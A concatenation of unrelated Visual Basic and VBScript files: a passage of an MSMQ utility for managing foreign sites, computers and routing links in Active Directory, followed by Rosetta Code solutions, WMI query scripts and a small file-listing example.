Dim DenyNameChangeAccess As New AccessControlEntry
DenyNameChangeAccess.AccessMask = ADS_RIGHT_DS_WRITE_PROP
DenyNameChangeAccess.AceType = ADS_ACETYPE_ACCESS_DENIED_OBJECT
DenyNameChangeAccess.Flags = ADS_FLAG_OBJECT_TYPE_PRESENT
DenyNameChangeAccess.ObjectType = GetCnPropertyGuid()
DenyNameChangeAccess.Trustee = "Everyone"
Dacl.AddAce DenyNameChangeAccess
'
' Give everyone the right to read properties and permissions
'
Dim AdditionalAccess As New AccessControlEntry
AdditionalAccess.AccessMask = ADS_RIGHT_DS_READ_PROP Or ADS_RIGHT_READ_CONTROL
AdditionalAccess.AceType = ADS_ACETYPE_ACCESS_ALLOWED
AdditionalAccess.Trustee = "Everyone"
Dacl.AddAce AdditionalAccess
'
' Give full permission to the current user (the owner)
'
Dim OwnerFullPermissionAccess As New AccessControlEntry
OwnerFullPermissionAccess.AccessMask = ADS_RIGHT_GENERIC_ALL
OwnerFullPermissionAccess.AceType = ADS_ACETYPE_ACCESS_ALLOWED
OwnerFullPermissionAccess.Trustee = GetCurrentUser()
Dacl.AddAce OwnerFullPermissionAccess
'
' System rights
'
Dim SystemAccess As New AccessControlEntry
SystemAccess.AccessMask = SYSTEM_RIGHTS
SystemAccess.AceType = ADS_ACETYPE_ACCESS_ALLOWED
SystemAccess.Trustee = "System"
Dacl.AddAce SystemAccess
SecurityDesc.DiscretionaryAcl = Dacl
'
' Use objectOptions to set DACL only
'
Dim ForeignSitesObjOptions As IADsObjectOptions
Set ForeignSitesObjOptions = ForeignSiteObj
ForeignSitesObjOptions.SetOption ADS_OPTION_SECURITY_MASK, ADS_SECURITY_INFO_DACL
ForeignSiteObj.Put "ntSecurityDescriptor", SecurityDesc
ForeignSiteObj.SetInfo
ReportLog "Foreign Site '" + ForeignSiteObj.ADsPath + "' Created."
End Sub
Sub DeleteForeignSite(ForeignSiteName As String)
Dim ForeignSiteObj As IADs
Set ForeignSiteObj = GetSiteObject(ForeignSiteName)
If Not IsSiteForeign(ForeignSiteObj) Then
Err.Raise ERROR_SITE_NOT_FOREIGN, , "'" + ForeignSiteName + "' is not a foreign site. Delete canceled."
End If
Dim sitesContainerObj As IADsContainer
Set sitesContainerObj = GetSitesContainer()
Dim SitePath As String
SitePath = ForeignSiteObj.ADsPath
sitesContainerObj.Delete "site", "CN=" + ForeignSiteName
ReportLog "Foreign Site '" + SitePath + "' Deleted."
End Sub
Function IsSiteForeign(SiteObject As IADs) As Boolean
On Error Resume Next
Dim IsForeign As Boolean
IsForeign = SiteObject.Get("mSMQSiteForeign")
'
' For non-foreign sites, in most cases, mSMQSiteForeign property does not exist.
' For that reason, Get will not return False, but will raise an error that we
' need to handle.
'
If Err.Number <> 0 Then
If Err.Number = E_ADS_PROPERTY_NOT_FOUND Then
IsForeign = False
Else
Dim Description As String, ErrNo As Long
ErrNo = Err.Number
Description = Err.Description
On Error GoTo 0
Err.Raise ErrNo, , Description
End If
End If
On Error GoTo 0
IsSiteForeign = IsForeign
End Function
Sub CreateForeignComputer(ForeignComputerName As String, ForeignSiteName As String)
Dim SiteObj As IADs
Set SiteObj = GetSiteObject(ForeignSiteName)
Dim SiteUUID As Variant
SiteUUID = SiteObj.Get("objectGuid")
Dim ComputersContainerObj As IADsContainer
Set ComputersContainerObj = GetObject("LDAP://" + GetFullPath("Computers"))
Dim ComputerObj As IADsContainer
Set ComputerObj = ComputersContainerObj.Create("computer", "CN=" + ForeignComputerName)
'
' sAMAccountName represents the computer's NetBios (or pre-Win2K) name (plus "$").
' It should not be longer than MAX_COMPUTERNAME_LENGTH
'
ComputerObj.Put "sAMAccountName", Left(ForeignComputerName, MAX_COMPUTERNAME_LENGTH) + "$"
ComputerObj.Put "userAccountControl", UF_WORKSTATION_TRUST_ACCOUNT Or UF_PASSWD_NOTREQD
ComputerObj.SetInfo
Dim msmqObj As IADs
Set msmqObj = ComputerObj.Create("mSMQConfiguration", "CN=msmq")
msmqObj.Put "mSMQSites", SiteUUID
msmqObj.Put "mSMQDSServices", False
msmqObj.Put "mSMQRoutingServices", False
msmqObj.Put "mSMQDependentClientServices", False
msmqObj.Put "mSMQOsType", MSMQ_OS_FOREIGN
msmqObj.Put "mSMQForeign", True
'
' Set Security Properties
'
Dim SecurityDesc As New SecurityDescriptor
SecurityDesc.Revision = 1
SecurityDesc.Control = ADS_SD_CONTROL_SE_DACL_PRESENT
Dim Dacl As New AccessControlList
Dacl.AclRevision = ACL_REVISION_DS
'
' Do not allow changing of the name (CN property)
' The name of the msmq configuration object is always "msmq"
' and should not be changed
'
Dim DenyNameChangeAccess As New AccessControlEntry
DenyNameChangeAccess.AccessMask = ADS_RIGHT_DS_WRITE_PROP
DenyNameChangeAccess.AceType = ADS_ACETYPE_ACCESS_DENIED_OBJECT
DenyNameChangeAccess.Flags = ADS_FLAG_OBJECT_TYPE_PRESENT
DenyNameChangeAccess.ObjectType = GetCnPropertyGuid()
DenyNameChangeAccess.Trustee = "Everyone"
Dacl.AddAce DenyNameChangeAccess
'
' Allow Everyone to create a queue and view the msmq configuration
'
Dim AdditionalAccess As New AccessControlEntry
AdditionalAccess.AccessMask = ADS_RIGHT_DS_CREATE_CHILD Or ADS_RIGHT_GENERIC_READ Or ADS_RIGHT_READ_CONTROL
AdditionalAccess.AceType = ADS_ACETYPE_ACCESS_ALLOWED
AdditionalAccess.Trustee = "Everyone"
Dacl.AddAce AdditionalAccess
'
' Give full permission to the current user (the owner)
'
Dim OwnerFullPermissionAccess As New AccessControlEntry
OwnerFullPermissionAccess.AccessMask = ADS_RIGHT_GENERIC_ALL
OwnerFullPermissionAccess.AceType = ADS_ACETYPE_ACCESS_ALLOWED
OwnerFullPermissionAccess.Trustee = GetCurrentUser()
Dacl.AddAce OwnerFullPermissionAccess
'
' System rights
'
Dim SystemAccess As New AccessControlEntry
SystemAccess.AccessMask = SYSTEM_RIGHTS
SystemAccess.AceType = ADS_ACETYPE_ACCESS_ALLOWED
SystemAccess.Trustee = "System"
Dacl.AddAce SystemAccess
SecurityDesc.DiscretionaryAcl = Dacl
'
' Use objectOptions to set DACL only
'
Dim msmqObjOptions As IADsObjectOptions
Set msmqObjOptions = msmqObj
msmqObjOptions.SetOption ADS_OPTION_SECURITY_MASK, ADS_SECURITY_INFO_DACL
msmqObj.Put "ntSecurityDescriptor", SecurityDesc
msmqObj.SetInfo
ReportLog "Foreign MSMQ Computer '" + msmqObj.ADsPath + "' Created."
End Sub
Function GetCnPropertyGuid() As String
Static ResultGuid As String
Static Initialized As Boolean
If Not Initialized Then
Dim GuidArray() As Byte
Dim CNPropObj As IADs
Set CNPropObj = GetObject("LDAP://" + "CN=Common-Name," + GetSchemaContainerDN())
GuidArray = CNPropObj.Get("schemaIDGUID")
ResultGuid = FormatGuid(GuidArray, True)
Initialized = True
End If
GetCnPropertyGuid = "{" + ResultGuid + "}"
End Function
Sub DeleteForeignComputer(ForeignComputerName As String)
Dim msmqObj As IADs
Set msmqObj = GetMsmqConfigObject(ForeignComputerName)
If Not msmqObj.Get("mSMQForeign") Then
Err.Raise ERROR_COMPUTER_NOT_FOREIGN, , ForeignComputerName + " is not a foreign computer. Delete canceled."
End If
Dim CompPath As String
CompPath = msmqObj.ADsPath
Dim ComputerObj As IADsDeleteOps
Set ComputerObj = GetObject(msmqObj.Parent)
ComputerObj.DeleteObject 0
ReportLog "Foreign MSMQ Computer '" + CompPath + "' Deleted."
End Sub
Sub AddSiteToComputer(ComputerName As String, SiteName As String)
AddRemoveSiteOfComputer ComputerName, SiteName, True
End Sub
Sub RemoveSiteFromComputer(ComputerName As String, SiteName As String)
AddRemoveSiteOfComputer ComputerName, SiteName, False
End Sub
Sub AddRemoveSiteOfComputer(ComputerName As String, SiteName As String, fAdd As Boolean)
Dim msmqObj As IADs
Dim SiteObj As IADs
Dim SiteUUID As Variant
Set SiteObj = GetSiteObject(SiteName)
SiteUUID = SiteObj.Get("objectGuid")
Set msmqObj = GetMsmqConfigObject(ComputerName)
'
' On remove - check to see that this is not the last site
'
If (Not fAdd) Then
Dim Sites As Variant
Sites = msmqObj.GetEx("mSMQSites")
If UBound(Sites) <= LBound(Sites) Then
'
' The sites array contains one element or less
'
Err.Raise ERROR_CANNOT_REMOVE_LAST_SITE, , "Cannot remove the last site of computer " + ComputerName
End If
End If
Dim ActionName As String
Dim ControlCode As Long
If fAdd Then
ControlCode = ADS_PROPERTY_APPEND
ActionName = "added to"
Else
ControlCode = ADS_PROPERTY_DELETE
ActionName = "removed from"
End If
msmqObj.PutEx ControlCode, "mSMQSites", Array(SiteUUID)
msmqObj.SetInfo
ReportLog "Site '" + SiteObj.ADsPath + "' was " + ActionName + _
" the site list of MSMQ Computer '" + msmqObj.ADsPath + "'"
End Sub
Sub CreateLink(Site As String, PeerSite As String, LinkServer As String, LinkCost As Long)
Dim LinkServerObj As IADs
Set LinkServerObj = GetMsmqConfigObject(LinkServer)
Dim SiteObject As IADs
Dim PeerSiteObject As IADs
Dim SiteGuid As Variant
Dim PeerSiteGuid As Variant
Set SiteObject = GetSiteObject(Site)
Set PeerSiteObject = GetSiteObject(PeerSite)
'
' A site link must be either between two "Real" sites or between a "Real" site and a foreign
' site. A link between two foreign sites is meaningless.
' The link server must belong to one of the sites. If the link contains a foreign site, the link
' server must belong to the "Real" site.
'
Dim fSiteForeign As Boolean
Dim fPeerSiteForeign As Boolean
fSiteForeign = IsSiteForeign(SiteObject)
fPeerSiteForeign = IsSiteForeign(PeerSiteObject)
If (fSiteForeign And fPeerSiteForeign) Then
Err.Raise ERROR_BOTH_SITES_ARE_FOREIGN, , "Both '" + Site + "' and '" + PeerSite + _
"' are foreign sites. A link must contain at least one non-foreign site"
End If
SiteGuid = SiteObject.Get("ObjectGUID")
PeerSiteGuid = PeerSiteObject.Get("ObjectGUID")
'
' Makes sure that the link server belongs to either Site or PeerSite
'
Dim SitesArray As Variant
SitesArray = LinkServerObj.GetEx("mSMQSites")
Dim ServerSiteGuid As Variant
Dim fServerBelongsToSites As Boolean
fServerBelongsToSites = False
'
' The server must belong to at least one "real" site of the two
'
For Each ServerSiteGuid In SitesArray
If ((Not fSiteForeign) And IsEqualGuid(ServerSiteGuid, SiteGuid)) _
Or ((Not fPeerSiteForeign) And IsEqualGuid(ServerSiteGuid, PeerSiteGuid)) Then
fServerBelongsToSites = True
Exit For
End If
Next
If Not fServerBelongsToSites Then
Err.Raise ERROR_SERVER_CANNOTE_BE_SITE_GATE, , "Server '" + LinkServer + _
"' Cannot serve as a site gate between sites '" + Site + "' and '" + _
PeerSite + "', because it does not belong to any non-foreign site of them."
End If
Dim LinkName As String
LinkName = ComposeSiteLinkName(Site, PeerSite)
Dim MsmqServicesObj As IADsContainer
Set MsmqServicesObj = GetMsmqServicesObject()
Dim LinkObj As IADs
Set LinkObj = MsmqServicesObj.Create("mSMQSiteLink", "CN=" + LinkName)
LinkObj.Put "mSMQSite1", GetSiteDN(Site)
LinkObj.Put "mSMQSite2", GetSiteDN(PeerSite)
LinkObj.Put "mSMQCost", LinkCost
LinkObj.Put "description", "site-" + Site + "," + "site-" + PeerSite
LinkObj.PutEx ADS_PROPERTY_APPEND, "mSMQSiteGates", Array(LinkServerObj.Get("distinguishedName"))
LinkObj.SetInfo
ReportLog "MSMQ Routing Link '" + LinkObj.ADsPath + "' Created"
End Sub
Function IsEqualGuid(Guid1 As Variant, Guid2 As Variant) As Boolean
If (UBound(Guid1) <> UBound(Guid2) Or LBound(Guid1) <> LBound(Guid2)) Then
IsEqualGuid = False
Exit Function
End If
Dim I As Integer
For I = LBound(Guid1) To UBound(Guid1)
If (Guid1(I) <> Guid2(I)) Then
IsEqualGuid = False
Exit Function
End If
Next
IsEqualGuid = True
End Function
Sub DeleteLink(SiteName As String, PeerSite As String)
Dim LinkName As String
LinkName = ComposeSiteLinkName(SiteName, PeerSite)
Dim MsmqServicesObj As IADsContainer
Set MsmqServicesObj = GetMsmqServicesObject()
MsmqServicesObj.Delete "mSMQSiteLink", "CN=" + LinkName
ReportLog "MSMQ Routing Link '" + "LDAP://CN=" + LinkName + "," + GetMsmqServicesDN() + "' Deleted"
End Sub
Function ComposeSiteLinkName(SiteName As String, PeerSite As String)
Dim SiteObj As IADs
Set SiteObj = GetSiteObject(SiteName)
Dim SiteUUID As Variant
SiteUUID = SiteObj.Get("objectGuid")
Dim SiteUUIDString As String
SiteUUIDString = FormatGuid(SiteUUID, False)
Dim PeerSiteObj As IADs
Set PeerSiteObj = GetSiteObject(PeerSite)
Dim PeerSiteUUID As Variant
PeerSiteUUID = PeerSiteObj.Get("objectGuid")
Dim PeerSiteUUIDString As String
PeerSiteUUIDString = FormatGuid(PeerSiteUUID, False)
If SiteUUIDString < PeerSiteUUIDString Then
ComposeSiteLinkName = SiteUUIDString + PeerSiteUUIDString
Else
ComposeSiteLinkName = PeerSiteUUIDString + SiteUUIDString
End If
End Function
Sub AddOpenConnectorAccess(SiteName As String)
Dim SiteObj As IADs
Set SiteObj = GetSiteObject(SiteName)
'
' We are interested only in the DACL part of the security descriptor
' When we read the security descriptor (getting ntSecurityDescriptor attribute),
' we ask for DACL, OWNER and GROUP (the two others are required for properly
' structured header). When we write the object, however, we write only the DACL.
' Using IADsObjectOptions, we can tell Get / Put of ntSecurityDescriptor
' which parts of the security object we need..
'
Dim SiteObjOptions As IADsObjectOptions
Set SiteObjOptions = SiteObj
SiteObjOptions.SetOption ADS_OPTION_SECURITY_MASK, ADS_SECURITY_INFO_DACL Or ADS_SECURITY_INFO_OWNER Or ADS_SECURITY_INFO_GROUP
Dim SecurityDesc As SecurityDescriptor
Set SecurityDesc = SiteObj.Get("ntSecurityDescriptor")
Dim Dacl As AccessControlList
Set Dacl = SecurityDesc.DiscretionaryAcl
Dim AccessControl As New AccessControlEntry
AccessControl.AccessMask = ADS_RIGHT_DS_CONTROL_ACCESS
AccessControl.Flags = ADS_FLAG_OBJECT_TYPE_PRESENT
AccessControl.AceType = ADS_ACETYPE_ACCESS_ALLOWED_OBJECT
AccessControl.Trustee = "Everyone"
AccessControl.ObjectType = GetOpenConnectorRightGuid()
Dacl.AddAce AccessControl
SecurityDesc.DiscretionaryAcl = Dacl
'
' Writing back the DACL part only
'
SiteObjOptions.SetOption ADS_OPTION_SECURITY_MASK, ADS_SECURITY_INFO_DACL
SiteObj.Put "ntSecurityDescriptor", SecurityDesc
SiteObj.SetInfo
ReportLog "'Open Connector Queue' right was granted to everyone on '" + SiteObj.ADsPath + "'"
End Sub
Function GetOpenConnectorRightGuid() As String
Static ResultGuid As String
Static Initialized As Boolean
If Not Initialized Then
Dim OCRightObj As IADs
Set OCRightObj = GetObject("LDAP://CN=msmq-Open-Connector,CN=Extended-Rights," + GetConfigurationContainerDN())
ResultGuid = "{" + OCRightObj.Get("rightsGuid") + "}"
Initialized = True
End If
GetOpenConnectorRightGuid = ResultGuid
End Function
Function GetMsmqConfigObject(ComputerName As String) As IADs
'
' Looking for the computer (and the msmq configuration under it) under "Computers" or
' "Domain Controllers". If the computer exists under a different OU, it will not be found.
'
Dim ResultObject As IADs
On Error Resume Next
Set ResultObject = GetObject("LDAP://" + GetFullPath("Computers/" + ComputerName + "/msmq"))
If Err.Number = ERROR_DS_NAME_ERROR_NOT_FOUND Then
'
' Look For the computer under domain controllers
'
Err.Clear
Set ResultObject = GetObject("LDAP://" + GetFullPath("Domain Controllers/" + ComputerName + "/msmq"))
End If
If Err.Number <> 0 Then
Dim Description As String, ErrNumber As Long
ErrNumber = Err.Number
Description = Err.Description
On Error GoTo 0
If ErrNumber = ERROR_DS_NAME_ERROR_NOT_FOUND Then
Err.Raise ErrNumber, , "Computer '" + ComputerName + "' Not found, or you do not have sufficient permissions to access it"
End If
Err.Raise ErrNumber, , Description
End If
Set GetMsmqConfigObject = ResultObject
End Function
Function GetSiteObject(SiteName As String) As IADs
Dim ResultSite As IADs
On Error Resume Next
Set ResultSite = GetObject("LDAP://" + GetSiteDN(SiteName))
If Err.Number <> 0 Then
Dim Description As String, ErrNumber As Long
ErrNumber = Err.Number
Description = Err.Description
On Error GoTo 0
If ErrNumber = ERROR_DS_NAME_ERROR_NOT_FOUND Then
Err.Raise ErrNumber, , "Site '" + SiteName + "' Not found, or you do not have sufficient permissions to access it"
End If
Err.Raise ErrNumber, , Description
End If
Set GetSiteObject = ResultSite
End Function
Function GetSitesContainerDN() As String
GetSitesContainerDN = "CN=sites," + GetConfigurationContainerDN()
End Function
Function GetSitesContainer() As IADsContainer
Set GetSitesContainer = GetObject("LDAP://" + GetSitesContainerDN())
End Function
Function GetSiteDN(SiteName As String) As String
GetSiteDN = "CN=" + SiteName + "," + GetSitesContainerDN()
End Function
Function GetMsmqServicesDN() As String
GetMsmqServicesDN = "CN=MsmqServices,CN=Services," + GetConfigurationContainerDN()
End Function
Function GetMsmqServicesObject() As IADsContainer
Set GetMsmqServicesObject = GetObject("LDAP://" + GetMsmqServicesDN())
End Function
Function GetConfigurationContainerDN() As String
Dim RootDSEObject As IADs
Set RootDSEObject = GetObject("LDAP://RootDSE")
GetConfigurationContainerDN = RootDSEObject.Get("configurationNamingContext")
End Function
Function GetSchemaContainerDN() As String
Dim RootDSEObject As IADs
Set RootDSEObject = GetObject("LDAP://RootDSE")
GetSchemaContainerDN = RootDSEObject.Get("schemaNamingContext")
End Function
Sub InitGlobalDomainName()
If g_DomainName = "" Then
Dim SysInfo As New ADSystemInfo
'
' If domain was not defined in command line, use the current user's domain name.
'
g_DomainName = SysInfo.DomainDNSName
End If
End Sub
Function GetStaticNameTranslate() As NameTranslate
Static NameTranslate As New NameTranslate
Static WasInitialized As Boolean
If Not WasInitialized Then
Dim SysInfo As New ADSystemInfo
Dim DCName As String
DCName = SysInfo.GetAnyDCName
NameTranslate.Init ADS_NAME_INITTYPE_SERVER, DCName
WasInitialized = True
End If
Set GetStaticNameTranslate = NameTranslate
End Function
Function GetFullPath(ObjectPath As String) As String
Dim NameTranslate As NameTranslate
Set NameTranslate = GetStaticNameTranslate()
NameTranslate.Set ADS_NAME_TYPE_CANONICAL, g_DomainName + "/" + ObjectPath
'
' ADS_NAME_TYPE_1779 will bring the name in the format "CN=..., CN=..., DC=...."
'
GetFullPath = NameTranslate.Get(ADS_NAME_TYPE_1779)
End Function
Function GetCurrentUser() As String
'
' Get the current user and return it in NT4 format (Domain\user) as required by security descriptor
'
Dim NameTranslate As NameTranslate
Set NameTranslate = GetStaticNameTranslate()
Dim SysInfo As New ADSystemInfo
NameTranslate.Set ADS_NAME_TYPE_1779, SysInfo.UserName
GetCurrentUser = NameTranslate.Get(ADS_NAME_TYPE_NT4)
End Function
Function FormatGuid(Guid As Variant, fUseDashes As Boolean) As String
Static GuidFormatArray As Variant
Static DashesPlacesArray As Variant
Static Initialized As Boolean
Dim Result As String
Dim I As Integer
If Not Initialized Then
'
' GuidFormatArray defines how the GUID is translated to a string:
' 1. Data1 (4 bytes - printed as long integer, last byte first)
' 2. Data2 (2 bytes - printed as integer, second byte first)
' 3. Data3 (2 bytes - printed as integer, second byte first)
' 4. Data4 (8 bytes - printed bytes array, all the bytes printed in order)
'
GuidFormatArray = Array(3, 2, 1, 0, 5, 4, 7, 6, 8, 9, 10, 11, 12, 13, 14, 15)
DashesPlacesArray = Array(3, 5, 7, 9, -1)
Initialized = True
End If
Dim NextDash As Integer
For I = 0 To 15
Dim ThisByte As Integer
ThisByte = Guid(GuidFormatArray(I))
If ThisByte < &H10 Then
Result = Result + "0"
End If
Result = Result + StrConv(Hex(ThisByte), vbLowerCase)
If fUseDashes And I = DashesPlacesArray(NextDash) Then
Result = Result + "-"
NextDash = NextDash + 1
End If
Next
FormatGuid = Result
End Function
Sub ReportError(ErrorMessage As String)
ReportLogOrError ErrorMessage, True
End Sub
Sub ReportLog(LogMessage As String)
If Not fVerbose Then Exit Sub
ReportLogOrError LogMessage, False
End Sub
Sub ReportLogAlways(LogMessage As String)
'
' Report to log even if verbose is false
'
ReportLogOrError LogMessage, False
End Sub
Sub ReportLogOrError(Message As String, fError As Boolean)
If fSilent Then Exit Sub
Static fLogFile As Boolean, fErrFile As Boolean
Static fInitialized As Boolean
If Not fInitialized Then
If LogFile <> "" Then
Open LogFile For Output As #1
fLogFile = True
End If
If ErrFile <> "" Then
Open ErrFile For Output As #2
fErrFile = True
End If
fInitialized = True
End If
If fError And fErrFile Then
Print #2, Message
Exit Sub
End If
If fLogFile Then
Print #1, Message
Exit Sub
End If
'
' No file defined - display to logform
'
LogForm.Caption = "MqForeign " + Command
LogForm.Show
OutputToTextBox Message, LogForm.LogText
End Sub
Sub OutputToTextBox(Message As String, TB As TextBox)
Dim MsgLen As Integer
Dim CurrentChar As String
MsgLen = Len(Message)
Dim I As Integer
For I = 1 To MsgLen
CurrentChar = Mid(Message, I, 1)
If (CurrentChar = Chr(10)) Then 'Line Feed
TB.SelText = Chr(13) + Chr(10)
Else
TB.SelText = CurrentChar
End If
Next
TB.SelText = Chr(13) + Chr(10)
End Sub
Sub ReportUsage()
ReportLogAlways "MqForeign - MSMQ Foreign Computer / Site / Link handling utility, version " + MqForeignVersion
ReportLogAlways "usage:MqForeign [-comp <ComputerName>] [-site <SiteName>] [-peersite <PeerSiteName>]"
ReportLogAlways " [-linkserver <LinkServerName>] [-linkcost <LinkCost>] [-logfile <LogFile>]"
ReportLogAlways " [-errorfile <ErrorFile>] [-crsite] [-delsite] [-crcomp] [-delcomp]"
ReportLogAlways " [-crlink][-dellink] [-addsite] [-remsite] [-addaccess][-verbose][-silent]"
ReportLogAlways ""
ReportLogAlways "Variable Definitions:"
ReportLogAlways "------------"
ReportLogAlways "-comp <ComputerName>"
ReportLogAlways "-site <SiteName>"
ReportLogAlways "-peersite <PeerSiteName>"
ReportLogAlways "-linkserver <LinkServerName>"
ReportLogAlways "-linkcost <LinkCost>"
ReportLogAlways "-logfile <LogFile>"
ReportLogAlways "-errorfile <ErrorFile>"
ReportLogAlways "-domain <DomainName> (optional - the default is the domain, under which the current user is logged on)"
ReportLogAlways ""
ReportLogAlways "Actions:"
ReportLogAlways "------------"
ReportLogAlways "-crsite - Create a foreign site named <SiteName>"
ReportLogAlways "-delsite - Delete the foreign site named <SiteName>"
ReportLogAlways "-crcomp - Create a foreign computer named <ComputerName> in site <SiteName>"
ReportLogAlways "-delcomp - Delete the foreign computer named <ComputerName>"
ReportLogAlways "-crlink - Create an MSMQ Routing Link between <SiteName> and <PeerSiteName>, using <LinkCost> and <LinkServerName>"
ReportLogAlways "-dellink - Delete the MSMQ Routing Link between <SiteName> and <PeerSiteName>"
ReportLogAlways "-addsite - Add <SiteName> to the list of <ComputerName> sites"
ReportLogAlways "-remsite - Remove <SiteName> from the list of <ComputerName> sites"
ReportLogAlways "-addaccess - Add 'Open Connector Queue' access right to <SiteName>"
ReportLogAlways "-verbose - Report successful actions to the log file or window"
ReportLogAlways "-silent - Do not report anything (not even errors)"
ReportLogAlways ""
ReportLogAlways "Logging:"
ReportLogAlways "------------"
ReportLogAlways "Error logs will go to <ErrorFile>, verbose logs and this usage text will go to <LogFile>"
ReportLogAlways "If <LogFile> is not defined, verbose logs will go to a log window"
ReportLogAlways "If <ErrorFile> is not defined, error logs will go to the same place as verbose logs (<LogFile> or log window)"
ReportLogAlways "Note: File names should not contain spaces, and should not be surrounded by quotes"
ReportLogAlways ""
ReportLogAlways "Examples:"
ReportLogAlways "------------"
ReportLogAlways "MqForeign -site MySite -crsite"
ReportLogAlways "MqForeign -site MySite -crsite -Logfile C:\MyLog.Log -verbose"
ReportLogAlways "MqForeign -site MySite -comp MyComp -crcomp"
ReportLogAlways "MqForeign -site NewForeignSite -peersite ExistingSite -linkcost 5 -linkserver ExistingMSMQServer -comp NewForeignComp -crcomp -crsite -crlink -addaccess -verbose"
End Sub
|
Debug.Print Format$(7.125, "00000.000")
|
<filename>Task/Balanced-brackets/VBA/balanced-brackets.vba
Public Function checkBrackets(s As String) As Boolean
'function checks strings for balanced brackets
Dim Depth As Integer
Dim ch As String * 1
Depth = 0
For i = 1 To Len(s)
ch = Mid$(s, i, 1)
If ch = "[" Then Depth = Depth + 1
If ch = "]" Then
If Depth = 0 Then 'not balanced
checkBrackets = False
Exit Function
Else
Depth = Depth - 1
End If
End If
Next
checkBrackets = (Depth = 0)
End Function
Public Function GenerateBrackets(N As Integer) As String
'generate a string with N opening and N closing brackets in random order
Dim s As String
Dim N2 As Integer, j As Integer
Dim Brackets() As String * 1
Dim temp As String * 1
'catch trivial value
If N <= 0 Then
GenerateBrackets = ""
Exit Function
End If
N2 = N + N
ReDim Brackets(1 To N2)
For i = 1 To N2 Step 2
Brackets(i) = "["
Brackets(i + 1) = "]"
Next i
'shuffle.
For i = 1 To N2
j = 1 + Int(Rnd() * N2)
'swap brackets i and j
temp = Brackets(i)
Brackets(i) = Brackets(j)
Brackets(j) = temp
Next i
'generate string
s = ""
For i = 1 To N2
s = s & Brackets(i)
Next i
GenerateBrackets = s
End Function
Public Sub BracketsTest()
Dim s As String
Dim i As Integer
For i = 0 To 10
s = GenerateBrackets(i)
Debug.Print """" & s & """: ";
If checkBrackets(s) Then Debug.Print " OK" Else Debug.Print " Not OK"
Next
End Sub
|
<filename>drivers/serial/mps/spx/speed/driver/wmi/speedwmi.vbs
REM Note that missing classes in log file mean tthe hat WMI cannot access them.
REM Most likely this indicates a problem with the driver.
REM See %windir%\system32\wbem\wmiprov.log and nt eventlog for more details.
REM You could also delete the line On Error Resume Next and examine the
REM specific VBScript error
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Set a = fso.CreateTextFile("speedwmi.log", True)
Set Service = GetObject("winmgmts:{impersonationLevel=impersonate}!root/wmi")
Rem SpeedPortFifoProp - Specialix Speed Port FIFO Properties
Set enumSet = Service.InstancesOf ("SpeedPortFifoProp")
a.WriteLine("SpeedPortFifoProp")
for each instance in enumSet
a.WriteLine(" InstanceName=" & instance.InstanceName)
a.WriteLine(" instance.MaxTxFiFoSize=" & instance.MaxTxFiFoSize)
a.WriteLine(" instance.MaxRxFiFoSize=" & instance.MaxRxFiFoSize)
a.WriteLine(" instance.DefaultTxFiFoLimit=" & instance.DefaultTxFiFoLimit)
a.WriteLine(" instance.TxFiFoLimit=" & instance.TxFiFoLimit)
a.WriteLine(" instance.DefaultTxFiFoTrigger=" & instance.DefaultTxFiFoTrigger)
a.WriteLine(" instance.TxFiFoTrigger=" & instance.TxFiFoTrigger)
a.WriteLine(" instance.DefaultRxFiFoTrigger=" & instance.DefaultRxFiFoTrigger)
a.WriteLine(" instance.RxFiFoTrigger=" & instance.RxFiFoTrigger)
a.WriteLine(" instance.DefaultLoFlowCtrlThreshold=" & instance.DefaultLoFlowCtrlThreshold)
a.WriteLine(" instance.LoFlowCtrlThreshold=" & instance.LoFlowCtrlThreshold)
a.WriteLine(" instance.DefaultHiFlowCtrlThreshold=" & instance.DefaultHiFlowCtrlThreshold)
a.WriteLine(" instance.HiFlowCtrlThreshold=" & instance.HiFlowCtrlThreshold)
next 'instance
Rem FastCardProp - Specialix Fast Card Properties
Set enumSet = Service.InstancesOf ("FastCardProp")
a.WriteLine("FastCardProp")
for each instance in enumSet
a.WriteLine(" InstanceName=" & instance.InstanceName)
a.WriteLine(" instance.DelayCardIntrrupt=" & instance.DelayCardIntrrupt)
a.WriteLine(" instance.SwapRTSForDTR=" & instance.SwapRTSForDTR)
next 'instance
a.Close
Wscript.Echo "speedwmi Test Completed, see speedwmi.log for details"
|
<reponame>mullikine/RosettaCodeData
Option Explicit
Sub FirstTwentyPrimes()
Dim count As Integer, i As Long, t(19) As String
Do
i = i + 1
If IsPrime(i) Then
t(count) = i
count = count + 1
End If
Loop While count <= UBound(t)
Debug.Print Join(t, ", ")
End Sub
Function IsPrime(Nb As Long) As Boolean
If Nb = 2 Then
IsPrime = True
ElseIf Nb < 2 Or Nb Mod 2 = 0 Then
Exit Function
Else
Dim i As Long
For i = 3 To Sqr(Nb) Step 2
If Nb Mod i = 0 Then Exit Function
Next
IsPrime = True
End If
End Function
|
Public Function incr(astring As String) As String
'simple function to increment a number string
incr = CStr(CLng(astring) + 1)
End Function
|
' The following sample retrieves all instances of the class
' Win32_LogicalDisk.
Set objServices = GetObject("cim:root/cimv2")
Set objEnum = objServices.InstancesOf ("Win32_LogicalDisk")
for each Instance in objEnum
WScript.Echo Instance.Path_.DisplayName
next
|
<gh_stars>100-1000
100 PRINT "Hello world"
|
<reponame>LaudateCorpus1/RosettaCodeData<filename>Task/Multisplit/VBScript/multisplit.vb
Function multisplit(s,sep)
arr_sep = Split(sep,"|")
For i = 0 To UBound(arr_sep)
arr_s = Split(s,arr_sep(i))
s = Join(arr_s,",")
Next
multisplit = s
End Function
Function multisplit_extra(s,sep)
Set dict_sep = CreateObject("Scripting.Dictionary")
arr_sep = Split(sep,"|")
For i = 0 To UBound(arr_sep)
dict_sep.Add i,"(" & arr_sep(i) & ")"
arr_s = Split(s,arr_sep(i))
s = Join(arr_s,i)
Next
For Each key In dict_sep.Keys
s = Replace(s,key,dict_sep.Item(key))
Next
multisplit_extra = s
End Function
WScript.StdOut.Write "Standard: " & multisplit("a!===b=!=c","!=|==|=")
WScript.StdOut.WriteLine
WScript.StdOut.Write "Extra Credit: " & multisplit_extra("a!===b=!=c","!=|==|=")
WScript.StdOut.WriteLine
|
<gh_stars>1-10
Sub show_files(folder_path,pattern)
Set objfso = CreateObject("Scripting.FileSystemObject")
For Each file In objfso.GetFolder(folder_path).Files
If InStr(file.Name,pattern) Then
WScript.StdOut.WriteLine file.Name
End If
Next
End Sub
Call show_files("C:\Windows",".exe")
|
' 7 lines 4 code 2 comments 1 blanks
Public Class C
Public Sub M()
' This is a comment
End Sub
End Class
|
